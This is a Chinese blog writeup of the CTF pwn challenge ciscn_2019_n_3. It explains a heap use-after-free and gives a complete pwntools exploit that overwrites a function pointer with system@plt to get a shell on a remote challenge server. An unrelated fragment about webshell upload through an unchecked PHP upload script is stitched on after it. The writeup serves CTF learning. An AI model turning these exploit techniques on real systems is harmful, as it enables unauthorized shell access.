ciscn_2019_n_3 writeup

本文详细介绍了如何利用CISCN 2019挑战赛中一个堆管理器的未初始化指针使用(UAF)漏洞,通过构造特定的数据块和内存布局,操纵fastbin以达到控制`system`函数的参数,最终执行`system('sh')`获取shell。过程包括创建和释放chunk,利用fastbin特性以及精心设计的payload,展示了利用技巧和漏洞利用流程。
摘要由CSDN通过智能技术生成

基本情况

这题被环境坑了一把,用的是 docker 环境做题,checksec 检测是保护全开,ida 分析时也没有留意地址都是真实地址,所以一直没想用 system@plt getshell 。。。后面才发现程序是关闭 PIE ,程序有 system ,直接调用不需要泄露 libc 操作。

程序是一个有增删查的堆管理器,根据存储资料的类型分为两类,对应结构体如下:

struct int_chunk
{
	void *rec_int_print();
    void *rec_int_free();
    int num;
};

struct str_chunk
{
	void *rec_str_print();
    void *rec_str_free();
    char *chunk_ptr;
}

在两个 free 函数中都是没有将指针置零,造成 UAF :

int __cdecl rec_str_free(void *ptr)
{
  free(*((void **)ptr + 2));                    // data chunk
  free(ptr);                                    // UAF
  return puts("Note freed!");
}

思路

利用 UAF 和 fastbin 控制 fd 为 sh\x00\x00 ,bk 为 system 。

  1. chunk0 作为 data chunk 被修改,chunk1 作为 chunk0 的结构体:

    create(0,1,1)#0x10
    create(1,1,1)#0x10
    
  2. 释放 chunk0、chunk1 ,根据 fastin 特点,将 chunk1 申请为结构体,chunk2 为 data chunk :

    free(0)
    free(1)
    payload = b'sh\x00\x00' + p32(elf.plt['system']) + b'\n'
    create(3,2,payload,0xc)#0xc-->0x8-->chunk0
    

    如上写入后调用 free 功能,实际执行命令:system('sh\x00')。如果写入是 system + sh 的组合调用 show 功能是不能 getshell ,实际运行的是:system(*(system)) 。具体功能调用传参如下:

    //show
    (*(int (__cdecl **)(int))chunk_ptr_list[v0])(chunk_ptr_list[v0]);
    //free
    (*(int (__cdecl **)(int))(chunk_ptr_list[v0] + 4))(chunk_ptr_list[v0]);
    

EXP

from pwn import *
context(log_level='debug',arch='i386',
	terminal=['tmux','sp','-h'])
# p = process(["/glibc/2.27/32/lib/ld-2.27.so", "./ciscn_2019_n_3"], env={"LD_PRELOAD":"/glibc/2.27/32/lib/libc.so.6"})
p = remote("node3.buuoj.cn",26766)
elf = ELF("./ciscn_2019_n_3")
libc = ELF("/glibc/2.27/32/lib/libc.so.6")

def create(id,type,content,length=0):
	p.recvuntil("> ")
	p.sendline('1')
	p.recvuntil("> ")
	p.sendline(str(id))
	p.recvuntil("> ")
	if(type==1):
		p.sendline(str(type))
		p.recvuntil("> ")
		p.sendline(str(content))
	else:
		p.sendline(str(type))
		p.recvuntil("> ")
		p.sendline(str(length))
		p.recvuntil("> ")
		p.send(content)
def free(id):
	p.recvuntil("> ")
	p.sendline('2')
	p.recvuntil("> ")
	p.sendline(str(id))
def show(id):
	p.recvuntil("> ")
	p.sendline('3')
	p.recvuntil("> ")
	p.sendline(str(id))

create(0,1,1)
create(1,1,1)
create(2,1,1)

free(0)
free(1)

payload = b'sh\x00\x00' + p32(elf.plt['system']) + b'\n'
create(3,2,payload,0xc)


# gdb.attach(p,"b *0x08048934")
free(0)


p.interactive()
首先,我们需要分析题目所提供的代码: ```php <?php error_reporting(0); if ($_FILES["upload"]["error"] > 0) { echo "Error: " . $_FILES["upload"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["upload"]["name"] . "<br />"; echo "Type: " . $_FILES["upload"]["type"] . "<br />"; echo "Size: " . ($_FILES["upload"]["size"] / 1024) . " Kb<br />"; move_uploaded_file($_FILES["upload"]["tmp_name"], "upload/" . $_FILES["upload"]["name"]); echo "Stored in: " . "upload/" . $_FILES["upload"]["name"]; } ?> ``` 从上述代码中我们可以发现,这是一个文件上传的代码,该代码运行后会将用户上传的文件存储到 `upload` 目录下。 但是,该代码没有对上传的文件类型进行限制,这意味着我们可以上传任何类型的文件,甚至是一些恶意的文件。我们可以尝试上传一些常见的恶意文件,比如 `webshell`。 我们可以在本地创建一个 `webshell.php` 文件,然后上传到服务器上的 `upload` 目录。上传完成后,我们可以访问 `http://xxx.xxx.xxx.xxx/upload/webshell.php` 来执行我们上传的 `webshell`。 最后,我们需要注意的是,该上传脚本没有做任何安全性检查,这意味着我们可以上传任意大小的文件,这可能会影响服务器的性能,甚至导致服务器崩溃。因此,在实际应用中,我们应该对上传的文件大小进行限制,同时对上传的文件类型进行检查,从而确保服务器的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值